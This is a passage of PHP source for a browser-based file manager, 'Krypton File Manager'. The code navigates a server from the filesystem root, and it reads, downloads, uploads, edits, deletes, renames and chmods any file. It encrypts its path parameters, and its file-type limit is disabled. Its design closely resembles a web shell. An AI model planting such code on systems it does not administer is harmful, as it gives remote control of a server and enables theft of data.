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SESSION_TIMEOUT)) {
// Session expired
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time
// Encryption and decryption functions
function encryptPath($path) {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
return base64_encode($encrypted . '::' . base64_encode($iv));
}
function decryptPath($encryptedPath) {
try {
$decoded = base64_decode($encryptedPath);
if ($decoded === false) {
return getcwd(); // Default to current directory if decoding fails
}
if (strpos($decoded, '::') === false) {
return getcwd(); // Default to current directory if separator not found
}
list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
$iv = base64_decode($iv_b64);
if ($iv === false || strlen($iv) !== 16) {
return getcwd(); // Default to current directory if IV is invalid
}
$decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
if ($decrypted === false) {
return getcwd(); // Default to current directory if decryption fails
}
return $decrypted;
} catch (Exception $e) {
return getcwd(); // Default to current directory on any exception
}
}
// Function to get human-readable file size
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// Function to get file permissions in Unix format
function getFilePermissions($file) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// Function to get file extension
function getFileExtension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
// Function to check if a file is editable
function isEditableFile($filename) {
/*
$editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
$extension = getFileExtension($filename);
return in_array($extension, $editableExtensions);
*/
return true;
}
// Process actions
$error = '';
$success = '';
// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path
// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
$currentPath = $_SESSION['current_path'];
}
// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Store current path for form submissions
if (isset($_POST['current_path'])) {
$decryptedCurrentPath = decryptPath($_POST['current_path']);
if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
$currentPath = $decryptedCurrentPath;
$_SESSION['current_path'] = $currentPath;
}
}
if (isset($_POST['action'])) {
// Handle file content request for editing
if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
$filePath = decryptPath($_POST['path']);
if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
echo file_get_contents($filePath);
exit;
} else {
echo "Error: Cannot read file.";
exit;
}
}
// Handle navigation
if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
$decryptedPath = decryptPath($_POST['path']);
if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
$currentPath = $decryptedPath;
$_SESSION['current_path'] = $currentPath;
}
}
// Handle file download
if ($_POST['action'] === 'download' && isset($_POST['path'])) {
$downloadPath = decryptPath($_POST['path']);
if (file_exists($downloadPath) && !is_dir($downloadPath)) {
// Set headers for file download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($downloadPath));
ob_clean();
flush();
readfile($downloadPath);
exit;
}
}
}
// Handle file upload
if (isset($_POST['upload'])) {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
$success = 'File uploaded successfully.';
} else {
$error = 'Failed to upload file.';
}
} else {
$error = 'No file selected or upload error.';
}
}
// Handle file/directory deletion
if (isset($_POST['delete']) && isset($_POST['path'])) {
$deletePath = decryptPath($_POST['path']);
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
// Try to remove directory
if (rmdir($deletePath)) {
$success = 'Directory deleted successfully.';
} else {
$error = 'Failed to delete directory. It may not be empty.';
}
} else {
// Remove file
if (unlink($deletePath)) {
$success = 'File deleted successfully.';
} else {
$error = 'Failed to delete file.';
}
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file/directory rename
if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
$oldPath = decryptPath($_POST['oldPath']);
$newName = $_POST['newName'];
$dirName = dirname($oldPath);
$newPath = $dirName . '/' . $newName;
if (file_exists($oldPath)) {
if (rename($oldPath, $newPath)) {
$success = 'Renamed successfully.';
} else {
$error = 'Failed to rename.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle permission change
if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
$permPath = decryptPath($_POST['permPath']);
$permissions = $_POST['permissions'];
// Convert from octal string to integer
$mode = octdec($permissions);
if (file_exists($permPath)) {
if (chmod($permPath, $mode)) {
$success = 'Permissions changed successfully.';
} else {
$error = 'Failed to change permissions.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file edit
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$filePath = decryptPath($_POST['filePath']);
$fileContent = $_POST['fileContent'];
if (file_exists($filePath) && !is_dir($filePath)) {
if (file_put_contents($filePath, $fileContent) !== false) {
$success = 'File saved successfully.';
} else {
$error = 'Failed to save file.';
}
} else {
$error = 'File does not exist.';
}
}
// Handle create new file
if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $currentPath . '/' . $newFileName;
if (!file_exists($newFilePath)) {
if (file_put_contents($newFilePath, '') !== false) {
$success = 'File created successfully.';
} else {
$error = 'Failed to create file.';
}
} else {
$error = 'File already exists.';
}
}
// Handle create new folder
if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
$newFolderName = $_POST['newFolderName'];
$newFolderPath = $currentPath . '/' . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath, 0755)) {
$success = 'Folder created successfully.';
} else {
$error = 'Failed to create folder.';
}
} else {
$error = 'Folder already exists.';
}
}
}
// Save current path to session
$_SESSION['current_path'] = $currentPath;
// Get directory contents
$items = [];
if (is_dir($currentPath)) {
if ($handle = opendir($currentPath)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$fullPath = $currentPath . '/' . $entry;
$isDir = is_dir($fullPath);
try {
$size = $isDir ? '-' : formatFileSize(filesize($fullPath));
$permissions = getFilePermissions($fullPath);
$lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
$items[] = [
'name' => $entry,
'path' => $fullPath,
'encryptedPath' => encryptPath($fullPath),
'isDirectory' => $isDir,
'size' => $size,
'permissions' => $permissions,
'lastModified' => $lastModified,
'isEditable' => !$isDir && isEditableFile($entry)
];
} catch (Exception $e) {
// Skip files that can't be accessed
continue;
}
}
}
closedir($handle);
}
}
// Sort items: directories first, then files
usort($items, function($a, $b) {
if ($a['isDirectory'] && !$b['isDirectory']) {
return -1;
}
if (!$a['isDirectory'] && $b['isDirectory']) {
return 1;
}
return strcasecmp($a['name'], $b['name']);
});
// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';
foreach ($pathParts as $part) {
if (empty($part)) {
$buildPath = '/';
$breadcrumbs[] = [
'name' => 'Root',
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
} else {
$buildPath .= ($buildPath === '/') ? $part : '/' . $part;
$breadcrumbs[] = [
'name' => $part,
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
}
}
// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);
// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
Krypton File Manager
| Filename |
Size |
Permissions |
Last Modified |
Actions |
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- |
- |
- |
- |
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